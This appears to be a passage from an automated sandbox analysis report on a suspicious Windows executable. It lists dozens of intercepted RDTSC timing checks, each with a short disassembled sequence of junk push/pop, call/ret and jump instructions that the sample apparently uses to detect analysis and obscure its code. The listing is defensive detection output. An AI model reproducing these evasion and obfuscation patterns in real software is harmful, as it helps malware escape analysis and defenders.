Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 82F1AD second address: 82F1D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FBAA4BFA505h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FBAA4BFA4FDh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 82F371 second address: 82F3BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5F4h 0x00000007 jmp 00007FBAA4B8B5F6h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007FBAA4B8B5EBh 0x00000013 pushad 0x00000014 jmp 00007FBAA4B8B5F0h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 833AA3 second address: 833AC1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FBAA4BFA4F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push ecx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b push edx 0x0000001c pop edx 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 83A229 second address: 83A22F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 8395E6 second address: 839635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBAA4BFA4FDh 0x00000009 jmp 00007FBAA4BFA502h 0x0000000e jmp 00007FBAA4BFA503h 0x00000013 popad 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 jmp 00007FBAA4BFA503h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 839635 second address: 839641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 839641 second address: 839647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 83E5F0 second address: 83E5FD instructions: 0x00000000 rdtsc 0x00000002 jns 00007FBAA4B8B5E8h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 7FE3F5 second address: 7FE3FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 7FE3FE second address: 7FE402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 7FE402 second address: 7FE408 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 83ECBC second address: 83ECF7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 506DC1A3h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FBAA4B8B5E8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 cmc 0x0000002a call 00007FBAA4B8B5E9h 0x0000002f pushad 0x00000030 pushad 0x00000031 pushad 0x00000032 popad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 83ECF7 second address: 83ED11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FBAA4BFA502h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 83ED11 second address: 83ED2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 ja 00007FBAA4B8B5EAh 0x0000000d push ebx 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop ebx 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 83F8BD second address: 83F8D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA500h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 83FA67 second address: 83FA6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 83FA6B second address: 83FA75 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FBAA4BFA4F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 83FA75 second address: 83FA8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 83FA8E second address: 83FAA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA503h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 83FAA5 second address: 83FAAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 83FF6B second address: 83FF70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 83FF70 second address: 83FF7A instructions: 0x00000000 rdtsc 0x00000002 je 00007FBAA4B8B5ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 84045B second address: 840460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 840460 second address: 84046A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FBAA4B8B5E6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 840DA2 second address: 840DA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 840DA6 second address: 840DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 841F7D second address: 841F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 8440B0 second address: 8440B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 84413D second address: 844141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 8456AF second address: 8456B4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 847462 second address: 847468 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 847468 second address: 84746E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 84746E second address: 847472 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 847472 second address: 847491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBAA4B8B5F6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 847491 second address: 84749B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 84749B second address: 8474A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 8496C3 second address: 8496D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBAA4BFA500h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 8496D7 second address: 849708 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FBAA4B8B5EFh 0x00000010 jmp 00007FBAA4B8B5F7h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 849708 second address: 849710 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 849710 second address: 849721 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBAA4B8B5EBh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 849721 second address: 849725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 849E16 second address: 849E20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 849E20 second address: 849E37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jng 00007FBAA4BFA502h 0x0000000f jo 00007FBAA4BFA4FCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 845F65 second address: 845F6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 84AE2C second address: 84AE7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov bx, 1C05h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007FBAA4BFA4F8h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c mov bl, cl 0x0000002e xchg eax, esi 0x0000002f jmp 00007FBAA4BFA4FEh 0x00000034 push eax 0x00000035 push ecx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FBAA4BFA4FDh 0x0000003d rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 849F6E second address: 849F72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 84DE59 second address: 84DE5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 84F14B second address: 84F14F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 852DD6 second address: 852E09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov dword ptr [esp], eax 0x00000009 and ebx, 537E0E71h 0x0000000f push 00000000h 0x00000011 sub dword ptr [ebp+122D1E4Ah], esi 0x00000017 push 00000000h 0x00000019 mov dword ptr [ebp+122D26D8h], ebx 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jg 00007FBAA4BFA501h 0x00000028 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 85107F second address: 851083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 853DDB second address: 853DE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBAA4BFA4FAh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 8501B1 second address: 8501C8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBAA4B8B5E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e jne 00007FBAA4B8B5E6h 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 8501C8 second address: 8501DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBAA4BFA4FEh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 854E3A second address: 854E4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FBAA4B8B5E6h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 854E4B second address: 854EB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA4FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a nop 0x0000000b jmp 00007FBAA4BFA4FCh 0x00000010 mov bh, 88h 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+1244BD24h], eax 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edi 0x0000001f call 00007FBAA4BFA4F8h 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], edi 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc edi 0x00000032 push edi 0x00000033 ret 0x00000034 pop edi 0x00000035 ret 0x00000036 xor edi, 6333FB68h 0x0000003c jmp 00007FBAA4BFA504h 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 js 00007FBAA4BFA4F6h 0x0000004b rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 858E0C second address: 858E2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007FBAA4B8B5E8h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 858E2D second address: 858E41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA500h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 856F70 second address: 856F74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 856F74 second address: 856FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FBAA4BFA4F8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 mov ebx, dword ptr [ebp+122D392Fh] 0x0000002a push dword ptr fs:[00000000h] 0x00000031 push 00000000h 0x00000033 push eax 0x00000034 call 00007FBAA4BFA4F8h 0x00000039 pop eax 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e add dword ptr [esp+04h], 00000016h 0x00000046 inc eax 0x00000047 push eax 0x00000048 ret 0x00000049 pop eax 0x0000004a ret 0x0000004b mov ebx, dword ptr [ebp+122D39B7h] 0x00000051 mov dword ptr fs:[00000000h], esp 0x00000058 mov di, ax 0x0000005b mov eax, dword ptr [ebp+122D1679h] 0x00000061 mov ebx, 6FADCAA8h 0x00000066 push FFFFFFFFh 0x00000068 stc 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e jg 00007FBAA4BFA4F6h 0x00000074 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 856FF4 second address: 856FFE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBAA4B8B5E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 85801A second address: 858024 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBAA4BFA4FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 85C578 second address: 85C593 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBAA4B8B5F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 860FFA second address: 860FFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 860BD5 second address: 860BDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 860BDB second address: 860BE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 860BE0 second address: 860BE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 860BE6 second address: 860BFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA4FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 86B3C8 second address: 86B3DA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop edi 0x00000008 je 00007FBAA4B8B5EEh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 86A7CD second address: 86A7D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 86A7D1 second address: 86A7D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 86A7D7 second address: 86A7F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBAA4BFA503h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 86AB10 second address: 86AB1A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBAA4B8B5E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 86AC8C second address: 86AC90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 86AC90 second address: 86ACB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FBAA4B8B5F9h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 86ACB4 second address: 86ACD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FBAA4BFA504h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 86ACD7 second address: 86ACE6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBAA4B8B5E6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 86E351 second address: 86E355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 86E355 second address: 86E35B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 873424 second address: 873429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 873429 second address: 873466 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FBAA4B8B5F9h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 873466 second address: 87346A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 87346A second address: 87346E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 8727C8 second address: 8727D2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBAA4BFA4F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 872AB4 second address: 872AB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 872AB8 second address: 872AC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA4FCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 872DCC second address: 872DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FBAA4B8B5E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 872DD7 second address: 872DDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
